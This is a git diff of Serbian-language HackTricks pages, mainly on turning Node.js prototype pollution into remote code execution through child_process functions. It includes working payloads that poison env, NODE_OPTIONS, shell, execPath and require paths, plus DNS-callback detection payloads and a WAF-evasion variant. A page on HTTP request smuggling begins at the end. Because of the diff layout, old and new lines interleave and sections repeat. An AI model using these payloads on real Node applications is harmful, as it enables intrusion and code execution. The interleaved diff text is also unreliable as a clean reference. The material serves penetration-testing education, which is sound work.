Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Ranjiv kod
|
||||
## Vulnerable Code
|
||||
|
||||
Zamislite pravi JS kod koji koristi neki od sledećih kodova:
|
||||
Zamislite pravi JS koji koristi neki kod poput sledećeg:
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
|
@ -51,9 +51,9 @@ var proc = fork('a_file.js');
|
|||
```
|
||||
## PP2RCE putem env promenljivih
|
||||
|
||||
**PP2RCE** znači **Prototype Pollution to RCE** (Udaljeno izvršavanje koda).
|
||||
**PP2RCE** znači **Prototype Pollution to RCE** (Udaljeno Izvršenje Koda).
|
||||
|
||||
Prema ovom [**izveštaju**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), kada se **proces pokrene** sa nekom metodom iz **`child_process`** (kao što su `fork` ili `spawn` ili druge), poziva se metoda `normalizeSpawnArguments` koja koristi **gadget za prototype pollution** kako bi kreirala nove env promenljive:
|
||||
Prema ovom [**izveštaju**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) kada se **proces pokrene** sa nekom metodom iz **`child_process`** (kao što su `fork` ili `spawn` ili druge) poziva se metoda `normalizeSpawnArguments` koja je **prototipna zagađivačka sprava za kreiranje novih env promenljivih**:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
|
@ -73,15 +73,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
|||
}
|
||||
}
|
||||
```
|
||||
Proverite taj kod, možete videti da je moguće otrovati `envPairs` jednostavno **zagađivanjem** atributa `.env`.
|
||||
Proverite taj kod možete videti da je moguće **otrovati `envPairs`** jednostavno **zagađivanjem** atributa `.env`.
|
||||
|
||||
### Otrovanje `__proto__`
|
||||
### **Otrovanje `__proto__`**
|
||||
|
||||
{% hint style="warning" %}
|
||||
Imajte na umu da zbog načina na koji funkcija **`normalizeSpawnArguments`** iz biblioteke **`child_process`** u Node-u radi, kada se nešto pozove kako bi se postavila nova okružna promenljiva za proces, dovoljno je samo **zagađivanje bilo čega**.\
|
||||
Na primer, ako uradite `__proto__.avar="valuevar"`, proces će biti pokrenut sa promenljivom nazvanom `avar` sa vrednošću `valuevar`.
|
||||
Imajte na umu da zbog toga kako funkcija **`normalizeSpawnArguments`** iz biblioteke **`child_process`** u node-u funkcioniše, kada se nešto pozove kako bi se **postavila nova env promenljiva** za proces, dovoljno je **zagaditi bilo šta**.\
|
||||
Na primer, ako uradite `__proto__.avar="valuevar"` proces će biti pokrenut sa promenljivom nazvanom `avar` sa vrednošću `valuevar`.
|
||||
|
||||
Međutim, da bi **okružna promenljiva bila prva** morate **zagađivati** atribut **`.env`** i (samo u nekim metodama) ta promenljiva će biti **prva** (omogućavajući napad).
|
||||
Međutim, da bi **env promenljiva bila prva** morate **zagaditi** atribut **`.env`** i (samo u nekim metodama) ta promenljiva će biti **prva** (omogućavajući napad).
|
||||
|
||||
Zato **`NODE_OPTIONS`** nije unutar `.env` u sledećem napadu.
|
||||
{% endhint %}
|
||||
|
@ -108,28 +108,7 @@ clone(USERINPUT);
|
|||
var proc = fork('a_file.js');
|
||||
// This should create the file /tmp/pp2rec
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Trovanje `constructor.prototype`
|
||||
|
||||
{% code-tabs %}
|
||||
{% code-tabs-item title="exploit.js" %}
|
||||
```javascript
|
||||
function exploit() {
|
||||
// Payload code here
|
||||
}
|
||||
|
||||
// Poisoning the constructor.prototype
|
||||
Object.prototype.constructor.prototype.exploit = exploit;
|
||||
|
||||
// Triggering the payload
|
||||
const obj = {};
|
||||
obj.exploit();
|
||||
```
|
||||
{% endcode-tabs-item %}
|
||||
{% endcode-tabs %}
|
||||
|
||||
Kada je `constructor.prototype` zatrovan, možemo dodati zlonamernu funkciju `exploit()` na njega. Kada se ova funkcija pozove na objektu, izvršava se zlonamerni kod.
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
|
@ -150,14 +129,12 @@ clone(USERINPUT);
|
|||
var proc = fork('a_file.js');
|
||||
// This should create the file /tmp/pp2rec2
|
||||
```
|
||||
## PP2RCE putem env varijabli + komandne linije
|
||||
## PP2RCE putem env promenljivih + komandne linije
|
||||
|
||||
Sličan payload kao prethodni je predložen u [**ovom članku**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Glavne razlike su:
|
||||
Sličan **payload** kao prethodni sa nekim promenama je predložen u [**ovom writeup-u**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Glavne razlike su:
|
||||
|
||||
* Umesto čuvanja nodejs **payloada** unutar fajla `/proc/self/environ`, on se čuva unutar **argv0** od **`/proc/self/cmdline`**.
|
||||
* Zatim, umesto zahtevanja putem **`NODE_OPTIONS`** fajla `/proc/self/environ`, on se **zahteva `/proc/self/cmdline`**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
* Umesto čuvanja nodejs **payload**-a unutar fajla `/proc/self/environ`, čuva ga unutar argv0 od **`/proc/self/cmdline`**.
|
||||
* Zatim, umesto zahtevanja putem **`NODE_OPTIONS`** fajla `/proc/self/environ`, zahteva **`/proc/self/cmdline`**.
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
|
@ -183,7 +160,7 @@ var proc = fork('a_file.js');
|
|||
|
||||
## Interakcija sa DNS-om
|
||||
|
||||
Korišćenjem sledećih payloada moguće je zloupotrebiti NODE\_OPTIONS okružnu promenljivu o kojoj smo prethodno diskutovali i detektovati da li je uspelo sa interakcijom sa DNS-om:
|
||||
Korišćenjem sledećih payload-ova moguće je zloupotrebiti NODE_OPTIONS env var o kojem smo prethodno diskutovali i otkriti da li je uspelo sa interakcijom sa DNS-om:
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
|
@ -193,7 +170,7 @@ Korišćenjem sledećih payloada moguće je zloupotrebiti NODE\_OPTIONS okružnu
|
|||
}
|
||||
}
|
||||
```
|
||||
Ili, da biste izbjegli WAF-ove koji traže domenu:
|
||||
Ili, da biste izbegli WAF-ove koji traže domen:
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
|
@ -205,7 +182,7 @@ Ili, da biste izbjegli WAF-ove koji traže domenu:
|
|||
```
|
||||
## PP2RCE vuln child\_process funkcije
|
||||
|
||||
U ovoj sekciji ćemo analizirati **svaku funkciju iz `child_process`** kako bismo izvršili kod i videli da li možemo koristiti neku tehniku da nateramo tu funkciju da izvrši kod:
|
||||
U odeljku koji sledi analiziraćemo **svaku funkciju iz `child_process`** kako bismo izvršili kod i videli da li možemo koristiti neku tehniku da nateramo tu funkciju da izvrši kod:
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -236,8 +213,6 @@ p = {}
|
|||
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||
var proc = exec('something');
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
@ -261,16 +236,16 @@ var proc = execFile('/usr/bin/node');
|
|||
|
||||
// Windows - not working
|
||||
```
|
||||
Da bi **`execFile`** radio, **MORA se izvršiti node** da bi NODE\_OPTIONS radio.\
|
||||
Ako se **ne izvršava** node, trebate pronaći kako biste mogli **izmeniti izvršenje** onoga što se izvršava **pomoću okruženjskih promenljivih** i postaviti ih.
|
||||
Da bi **`execFile`** radio, **MORA izvršiti node** da bi NODE\_OPTIONS radio.\
|
||||
Ako **ne** izvršava **node**, morate pronaći kako biste mogli **izmeniti izvršenje** bilo čega što se izvršava **pomoću promenljivih okruženja** i postaviti ih.
|
||||
|
||||
**Drugi** tehnike **rade** bez ovog zahteva jer je **moguće izmeniti** **šta se izvršava** putem zagađivanja prototipa. (U ovom slučaju, čak i ako možete zagađivati `.shell`, nećete zagađivati ono što se izvršava).
|
||||
**Drugi** tehnike **rade** bez ovog zahteva jer je **moguće izmeniti** **šta se izvršava** putem zagađenja prototipa. (U ovom slučaju, čak i ako možete zagađivati `.shell`, nećete zagađivati ono što se izvršava).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eksploatacija <code>fork</code></summary>
|
||||
<summary><code>fork</code> eksploatacija</summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -310,15 +285,11 @@ b = {}
|
|||
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||
var proc = fork('./a_file.js');
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>spawn</code> eksploatacija</strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// NOT working after kEmptyObject (fix) without options
|
||||
|
@ -355,15 +326,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
|||
var proc = spawn('something');
|
||||
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>execFileSync</code> eksploatacija</strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// Working after kEmptyObject (fix)
|
||||
|
@ -402,15 +369,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
|||
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||
var proc = execSync('something');
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>execSync</code> eksploatacija</strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// Working after kEmptyObject (fix)
|
||||
|
@ -448,15 +411,11 @@ p = {}
|
|||
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||
var proc = execSync('something');
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>spawnSync</code> eksploatacija</strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// NOT working after kEmptyObject (fix) without options
|
||||
|
@ -506,18 +465,18 @@ var proc = spawnSync('something');
|
|||
|
||||
## Forsiranje Spawn-a
|
||||
|
||||
U prethodnim primerima videli ste kako da pokrenete funkcionalnost gadgeta koja **poziva `spawn`** potrebno je da bude **prisutna** (sve metode **`child_process`** koje se koriste za izvršavanje nečega je pozivaju). U prethodnom primeru to je bilo **deo koda**, ali šta ako kod to **ne poziva**.
|
||||
U prethodnim primerima videli ste kako da pokrenete funkcionalnost **poziva `spawn`** koja mora biti **prisutna** (sve metode **`child_process`** korišćene za izvršavanje nečega je pozivaju). U prethodnom primeru to je bilo **deo koda**, ali šta ako kod **ne poziva** to.
|
||||
|
||||
### Kontrolisanje putanje zahtevanog fajla
|
||||
### Kontrolisanje putanje zahtevane datoteke
|
||||
|
||||
U ovom [**drugom objašnjenju**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) korisnik može da kontroliše putanju fajla gde će se izvršiti **`require`**. U tom scenariju napadač samo treba da **pronađe `.js` fajl unutar sistema** koji će **izvršiti spawn metodu kada se uveze.**\
|
||||
Neki primeri uobičajenih fajlova koji pozivaju spawn funkciju prilikom uvoza su:
|
||||
U ovom [**drugom objašnjenju**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) korisnik može kontrolisati putanju datoteke gde će se izvršiti **`require`**. U tom scenariju napadač samo treba da **pronađe `.js` datoteku unutar sistema** koja će **izvršiti spawn metodu prilikom uvoza.**\
|
||||
Neke od uobičajenih datoteka koje pozivaju spawn funkciju prilikom uvoza su:
|
||||
|
||||
* /path/to/npm/scripts/changelog.js
|
||||
* /opt/yarn-v1.22.19/preinstall.js
|
||||
* Pronađite **više fajlova ispod**
|
||||
* Pronađite **više datoteka ispod**
|
||||
|
||||
Sledeći jednostavan skript će tražiti **pozive** iz **child\_process** **bez ikakvog umetanja** (da bi se izbegli prikazi poziva unutar funkcija):
|
||||
Naredni jednostavan skript će tražiti **pozive** iz **child\_process** **bez ikakvog razmaka** (kako bi se izbeglo prikazivanje poziva unutar funkcija):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -530,7 +489,7 @@ done
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Interesantni fajlovi pronađeni prethodnim skriptom</summary>
|
||||
<summary>Zanimljive datoteke pronađene prethodnim skriptom</summary>
|
||||
|
||||
* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
|
||||
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
|
||||
|
@ -544,27 +503,27 @@ done
|
|||
|
||||
</details>
|
||||
|
||||
### Postavljanje putanje zahtevanog fajla putem zloupotrebe prototipne zagađenosti
|
||||
### Postavljanje putanje zahtevane datoteke putem zagađenja prototipa
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Prethodna tehnika zahteva** da **korisnik kontroliše putanju fajla** koji će biti **zahtevan**. Međutim, ovo nije uvek tačno.
|
||||
**Prethodna tehnika zahteva** da **korisnik kontroliše putanju datoteke** koja će biti **zahtevana**. Međutim, ovo nije uvek tačno.
|
||||
{% endhint %}
|
||||
|
||||
Međutim, ako će kod izvršiti zahtevanje nakon prototipne zagađenosti, čak i ako **ne kontrolišete putanju** koja će biti zahtevana, **možete prisiliti drugačiju putanju zloupotrebom prototipne zagađenosti**. Dakle, čak i ako je linija koda `require("./a_file.js")` ili `require("bytes")`, **zahtevaće paket koji ste zagađivali**.
|
||||
Međutim, ako će se kod izvršiti zahtev nakon zagađenja prototipa, čak i ako **ne kontrolišete putanju** koja će biti zahtevana, **možete prisiliti drugu zloupotrebom zagađenja prototipa**. Dakle, čak i ako je linija koda poput `require("./a_file.js")` ili `require("bytes")`, **zahtevaće paket koji ste zagađivali**.
|
||||
|
||||
Dakle, ako se zahtevanje izvrši nakon vaše prototipne zagađenosti i ne postoji funkcija spawn, ovo je napad:
|
||||
Stoga, ako se zahtev izvrši nakon vašeg zagađenja prototipa i nema funkcije spawn, ovo je napad:
|
||||
|
||||
* Pronađite **`.js` fajl unutar sistema** koji će se **izvršiti kada se zahteva** nešto koristeći `child_process`
|
||||
* Ako možete otpremiti fajlove na platformu koju napadate, možete otpremiti takav fajl
|
||||
* Zagađujte putanje da biste **prisilili zahtevanje učitavanje `.js` fajla** koji će izvršiti nešto sa child\_process
|
||||
* **Zagađujte environ/cmdline** da biste izvršili proizvoljni kod kada se pozove funkcija izvršavanja child\_process (videti početne tehnike)
|
||||
* Pronađite **`.js` datoteku unutar sistema** koja će **izvršiti nešto koristeći `child_process`** kada se **zahteva**
|
||||
* Ako možete da otpremite datoteke na platformu koju napadate, možda biste mogli otpremiti takvu datoteku
|
||||
* Zagađujte putanje da **prisilite zahtev za učitavanje `.js` datoteke** koja će izvršiti nešto sa child\_process
|
||||
* **Zagađujte environ/cmdline** da izvršite proizvoljan kod kada se pozove funkcija izvršenja child\_process (videti početne tehnike)
|
||||
|
||||
#### Apsolutno zahtevanje
|
||||
#### Apsolutni zahtev
|
||||
|
||||
Ako je izvršeno zahtevanje **apsolutno** (`require("bytes")`) i **pakovanje ne sadrži main** u `package.json` fajlu, možete **zagađivati atribut `main`** i izvršiti **zahtevanje drugačijeg fajla**.
|
||||
Ako je izvršeni zahtev **apsolutan** (`require("bytes")`) i **pakovanje ne sadrži main** u `package.json` datoteci, možete **zagađivati `main` atribut** i naterati **zahtev da izvrši drugu datoteku**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exploit" %}
|
||||
{% tab title="eksploatacija" %}
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// Create a file called malicious.js in /tmp
|
||||
|
@ -594,21 +553,18 @@ var proc = require('bytes');
|
|||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="zlonamerni.js" %}
|
||||
{% tab title="malicious.js" %}
|
||||
```javascript
|
||||
const { fork } = require('child_process');
|
||||
console.log("Hellooo from malicious");
|
||||
fork("anything");
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Relativni zahtev - 1
|
||||
|
||||
Ako se umesto apsolutne putanje učita **relativna putanja**, možete naterati node da učita **različitu putanju**:
|
||||
Ako se umesto apsolutne putanje učita **relativna putanja**, možete naterati node da **učita drugu putanju**:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exploit" %}
|
||||
{% tab title="eksploatacija" %}
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// Create a file called malicious.js in /tmp
|
||||
|
@ -642,9 +598,6 @@ const { fork } = require('child_process');
|
|||
console.log("Hellooo from malicious");
|
||||
fork('/path/to/anything');
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Relativni zahtev - 2
|
||||
|
||||
{% tabs %}
|
||||
|
@ -678,18 +631,15 @@ var proc = require('./relative_path.js');
|
|||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="zlonamerni.js" %}
|
||||
{% tab title="malicious.js" %}
|
||||
```javascript
|
||||
const { fork } = require('child_process');
|
||||
console.log("Hellooo from malicious");
|
||||
fork('/path/to/anything');
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
#### Relativni zahtev - 3
|
||||
|
||||
#### Relativni require - 3
|
||||
|
||||
Slično kao i prethodni, ovo je pronađeno u [**ovom članku**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||
Slično prethodnom, ovo je pronađeno u [**ovom izveštaju**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||
```javascript
|
||||
// Requiring /opt/yarn-v1.22.19/preinstall.js
|
||||
Object.prototype["data"] = {
|
||||
|
@ -708,23 +658,24 @@ Object.prototype.env = {
|
|||
|
||||
require('./usage.js')
|
||||
```
|
||||
## VM Gadgets
|
||||
## VM Gedžeti
|
||||
|
||||
U radu [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) takođe se navodi da kontrola **`contextExtensions`** iz nekih metoda biblioteke **`vm`** može biti korišćena kao gedžet.\
|
||||
Međutim, kao i prethodni metodi **`child_process`**, i ovo je **popravljeno** u najnovijim verzijama.
|
||||
U radu [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) takođe je naznačeno da kontrola **`contextExtensions`** iz nekih metoda biblioteke **`vm`** može biti korišćena kao gedžet.\
|
||||
Međutim, kao i prethodni metodi **`child_process`**, to je **popravljeno** u najnovijim verzijama.
|
||||
|
||||
## Popravke i neočekivane zaštite
|
||||
## Popravke & Neočekivane zaštite
|
||||
|
||||
Molim vas, imajte na umu da se prototipsko zagađivanje dešava ako je **atribut** objekta koji se pristupa **nedefinisan**. Ako je u **kodu** taj **atribut postavljen** na **vrednost**, nećete moći da ga prepišete.
|
||||
Molimo, imajte na umu da se prototype pollution može koristiti ako je **atribut** objekta koji se pristupa **nedefinisan**. Ako je u **kodu** tom **atributu** postavljena **vrednost**, nećete moći da je prepišete.
|
||||
|
||||
Od juna 2022. godine iz [**ovog commit-a**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) varijabla `options` umesto `{}` je **`kEmptyObject`**. Ovo **sprečava prototipsko zagađivanje** koje bi uticalo na **atribute** **`options`** i dovelo do RCE.\
|
||||
Ova zaštita je implementirana barem od verzije v18.4.0, i zbog toga **exploiti** `spawn` i `spawnSync` koji utiču na ove metode **više ne funkcionišu** (ako se ne koriste `options`!).
|
||||
U junu 2022. godine iz [**ovog commit-a**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) varijabla `options` umesto `{}` je **`kEmptyObject`**. Ovo **sprečava prototype pollution** da utiče na **atribute** **`options`** kako bi se dobio RCE.\
|
||||
Bar od verzije v18.4.0 ova zaštita je **implementirana**, i stoga **eksploatacije** `spawn` i `spawnSync` koje utiču na metode **više ne funkcionišu** (ako se ne koriste `options`!).
|
||||
|
||||
U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) prototipsko zagađivanje **`contextExtensions`** iz vm biblioteke je takođe **delimično popravljeno** postavljanjem opcija na **`kEmptyObject`** umesto **`{}`.**
|
||||
U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) takođe je **popravljen** **prototype pollution** **`contextExtensions`** iz vm biblioteke postavljanjem opcija na **`kEmptyObject`** umesto **`{}`.**
|
||||
|
||||
### **Drugi gedžeti**
|
||||
### **Drugi Gedžeti**
|
||||
|
||||
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||
* [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -739,10 +690,10 @@ U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje tako što ćete slati PR-ove na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,9 +6,9 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
## Šta je
|
||||
|
||||
Ova ranjivost se javlja kada **desinhronizacija** između **front-end proxy-ja** i **back-end** servera omogućava **napadaču** da **pošalje** HTTP **zahtev** koji će biti **tumačen** kao **jedan zahtev** od strane **front-end proxy-ja** (balansiranje opterećenja/reverse-proxy) i **kao 2 zahteva** od strane **back-end** servera.\
|
||||
Ova ranjivost se javlja kada **desinhronizacija** između **front-end proxy-ja** i **back-end** servera omogućava **napadaču** da **pošalje** HTTP **zahtev** koji će biti **tumačen** kao **jedan zahtev** od strane **front-end** proxy-ja (balansiranje opterećenja/reverse-proxy) i **kao 2 zahteva** od strane **back-end** servera.\
|
||||
Ovo omogućava korisniku da **modifikuje sledeći zahtev koji stiže do back-end servera nakon njega**.
|
||||
|
||||
### Teorija
|
||||
|
@ -27,11 +27,11 @@ Ovo omogućava korisniku da **modifikuje sledeći zahtev koji stiže do back-end
|
|||
|
||||
**Content-Length**
|
||||
|
||||
> Entitet zaglavlje Content-Length pokazuje veličinu entitet-tela, u bajtovima, poslato primaocu.
|
||||
> Entitet zaglavlje Content-Length pokazuje veličinu entitet-tela, u bajtovima, poslatom primaocu.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Transfer-Encoding zaglavlje specificira oblik enkodiranja koji se koristi za bezbedan prenos tela payload-a korisniku.\
|
||||
> Transfer-Encoding zaglavlje specificira oblik enkodiranja koji se koristi za bezbedan prenos tela opterećenja korisniku.\
|
||||
> Chunked znači da se veliki podaci šalju u seriji delova.
|
||||
|
||||
### Realnost
|
||||
|
@ -41,19 +41,19 @@ Ovo može biti veoma kritično jer **napadač može poslati jedan zahtev** rever
|
|||
|
||||
### Posebnosti
|
||||
|
||||
Zapamtite da u HTTP **novi red karaktera se sastoji od 2 bajta:**
|
||||
Zapamtite da u HTTP **novi karakter nove linije čine 2 bajta:**
|
||||
|
||||
* **Content-Length**: Ovo zaglavlje koristi **decimalni broj** da pokaže **broj** **bajtova** tela zahteva. Telo se očekuje da se završi poslednjim karakterom, **novi red nije potreban na kraju zahteva**.
|
||||
* **Transfer-Encoding:** Ovo zaglavlje koristi u **telu** **heksadecimalni broj** da pokaže **broj** **bajtova** **sledećeg chunk-a**. **Chunk** mora **završiti** sa **novim redom** ali ovaj novi red **nije uračunat** u indikator dužine. Ovaj metod prenosa mora završiti sa **chunk-om veličine 0 praćenim sa 2 nova reda**: `0`
|
||||
* **Content-Length**: Ovo zaglavlje koristi **decimalni broj** da pokaže **broj** **bajtova** tela zahteva. Telo se očekuje da se završi poslednjim karakterom, **nova linija nije potrebna na kraju zahteva**.
|
||||
* **Transfer-Encoding:** Ovo zaglavlje koristi u **telu** **heksadecimalni broj** da pokaže **broj** **bajtova** **sledećeg chunk-a**. **Chunk** mora **završiti** sa **novom linijom** ali ova nova linija **nije uračunata** u indikator dužine. Ovaj metod prenosa mora završiti sa **chunk-om veličine 0 praćenim sa 2 nove linije**: `0`
|
||||
* **Connection**: Na osnovu mog iskustva preporučuje se koristiti **`Connection: keep-alive`** na prvom zahtevu za Request Smuggling.
|
||||
|
||||
## Osnovni Primeri
|
||||
|
||||
{% hint style="success" %}
|
||||
